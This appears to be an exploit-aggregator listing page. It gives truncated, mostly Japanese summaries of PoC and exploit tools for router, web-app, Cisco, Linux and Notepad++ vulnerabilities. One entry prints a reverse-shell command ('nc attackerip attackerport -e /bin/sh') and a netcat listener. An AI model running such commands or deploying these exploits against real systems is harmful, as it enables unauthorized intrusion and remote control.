CVE-2025-55182

CVE-2025-55182 Next.js RCE エクスプロイトツール 🚀 これは Next.js React Server Components CVE-2025-55182 のリモートコード実行 RCE 脆弱性に対する自動化された概念実証 PoC ツールです。 本ツールは インタラクティブシェル 、スマートプロトコル識別 、マルチスレッド一括スキャン 機能を統合しており、セキュリティ研究者やペネトレーションテスターが脆弱性を迅速に検証・悪用するために設計されています。 ⚠️ 免責事項 :...

TP-L-NK-SIZMA-EXPLO-T

TP-LiNK-SIZMA-EXPLOiT TP-Link Router Authenticated RCE Exploit CVE-2022-30075 このツールは、TP-Link Archer AX50およびその他の一部のTP-Linkルーターモデルに存在する CVE-2022-30075 の脆弱性を利用して、認証済みリモートコード実行（Authenticated Remote Code Execution）を行います。 TP-Link Router Authenticated RCE Exploit CVE-2022-30075 このツールは、TP-Link Archer...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...

cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV シリーズ PoC & Exploit ⚠ 警告: 認可されたテストのみ を対象としています。自分が所有していない、または書面による許可を得ていないシステムに対して使用しないでください。これはProof of Concept であり、認可されたテストのみ を目的としています。 これは何か 小さなリポジトリ: CiscoPoc.py — CVE-2023-20048 を確認するための無害な PoC CiscoRCE.py — 脆弱な form2ping.cgi を介してリバースシェルを試みるエクスプロイト 説明 このスクリプトは、Cisco...

CVE-2025-24367-PoC-Cacti

Cacti CVE‑2025‑24367 認証済みRCE PoC このリポジトリには、Cacti の認証済みリモートコード実行（RCE）の脆弱性である CVE‑2025‑24367 の概念実証（PoC）エクスプロイトが含まれています。 この問題は、グラフテンプレート処理における入力サニタイズの不備を悪用します。“Unix – Logged in Users” グラフテンプレート（ID 226）に悪意のあるコンテンツを注入することで、任意の PHP ファイルを Cacti の Web ルートに書き込み、サーバー上でコマンドを実行することが可能になります。 この PoC...

CVE-2024-48990

CVE-2024-48990 — needrestart ローカル権限昇格 Ubuntu/Debian システム上の needrestart /environ から プロセスの完全な環境を継承 して Python インタプリタを再呼び出します — これには PYTHONPATH も含まれます。権限のないローカルユーザーは次の方法でこれを悪用できます： 1. PYTHONPATH を悪意のある importlib パッケージを含むディレクトリに設定する 2. Python プロセスを実行し続け、needrestart がスキャン時にそれを検出するようにする 3. needrestart...

CVE-2026-94106 getID3 before 1.9.26 OS Command Injection via Unescaped Filenames

getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding...

CVE-2026-94106 getID3 before 1.9.26 OS Command Injection via Unescaped Filenames

getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding...

CVE-2026-94106

getID3 before 1.9.26 is affected by an OS command injection vulnerability in its shell-out handlers, which fail to escape filenames when constructing command strings. An attacker can craft a malicious filename containing shell metacharacters to inject arbitrary commands that execute with the priv...

CVE-2026-94106 getID3 before 1.9.26 OS Command Injection via Unescaped Filenames

getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding...

EUVD-2026-83726

getID3 before 1.9.26 contains an OS command injection vulnerability in shell-out handlers that fail to escape filenames in command strings. Attackers can craft malicious filenames containing shell metacharacters to inject arbitrary commands executed with the privileges of the process embedding...

CVE-2025-49132

CVE-2025-49132-POC 私は個人的なチャレンジとして、0xtensho に触発されてこのPoCを作成しました。 クリーンな出力とリバースシェル専用を目的として作成しました。 使用方法: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py 免責事項 法的免責事項: このPoC（Proof of...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 安全および安全でない脆弱性/確認チェック: （「安全なチェック」で確認できない場合のみ「安全でないチェック」を使用します） $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 安全でない脆弱性/確認チェック: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport...

CVE-2020-15778

CVE-2020-15778 はじめに このリポジトリは CVE-2020-15778 を再現するものです。 手順 1. scpサーバーとクライアント用のDockerイメージをビルドする root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. コンテナ内でscpサーバーを起動する。 root@kitploit: docker run -d -P --name scp-server server-cve...

distccd_rce_CVE-2004-2687

このスクリプトの目的は、Metasploitを使用せずに手動で行うことです。 使用方法: root@kitploit: nc -lvnp 4466 エクスプロイトの実行: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit nfsen 1.3.7 における CVE-2017-6971 のリモートコマンド実行エクスプロイト。 Ubuntu でテスト済み。おそらくすべての環境で動作します。 脆弱性は Paul Taylor/Foregenix Ltd によって発見されました。 使用方法: python exploit.py これにより、リモートマシン上にルートレベルのシェルが生成されます。...

samba-trans2open-exploit-report

Samba Trans2Open 익스플로잇 보고서 이 저장소는 가상 Linux 환경에서 Samba Trans2Open 취약점CVE-2003-0201을 익스플로잇하는 전체 기술 워크스루를 포함합니다. 익스플로잇은 교육 및 윤리적 해킹 훈련 목적으로 수행되었습니다. 보고서 내용 🔍 netdiscover, nmap, whatweb와 같은 도구를 사용한 네트워크 및 서비스 발견 🛡️ 취약점 식별 및 CVE 매핑 🔓 Metasploit 및 리버스 셸 페이로드를 사용한 익스플로잇 🧰 대상 시스템에서 루트 액세스 획득 📄 취약점 완화를 위한...

CVE-2025-56383

脆弱性 root@kitploit: 攻撃タイプ: DLL Hijacking DLLハイジャック 対象アプリケーション: Notepad++ 方法: NppExport.dll ファイルが Notepad++ によって作業ディレクトリから読み込まれる 実装 悪意のあるDLLには以下が含まれています: root@kitploit: 互換性を確保するための元のライブラリのエクスポート関数 Reverse shell, 攻撃ホストに接続する 読み込みのブロックを防ぐために別スレッドで実行...

paint2die

最もシンプルで信頼性の高いRichFaces Paint2DResource CVE-2018-12533 RF-14310エクスプロイト インストール • 使用方法 • Paint2Dieの実行 インストール手順 root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 使用方法 root@kitploit: ./paint2die -h...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki の認証されていない RCE エクスプロイト 影響を受ける XWiki バージョン バージョン 15.10.11 バージョン 16.4.1 バージョン 16.5.0RC1 脆弱性の説明 影響を受ける XWiki バージョンには、SolrSearch マクロ内の安全でない Groovy 式の処理に起因するリモートコード実行の脆弱性が含まれています。認証されていない攻撃者がリモートから任意の Groovy コードを実行し、リバースシェルを取得する可能性があります。 概念実証...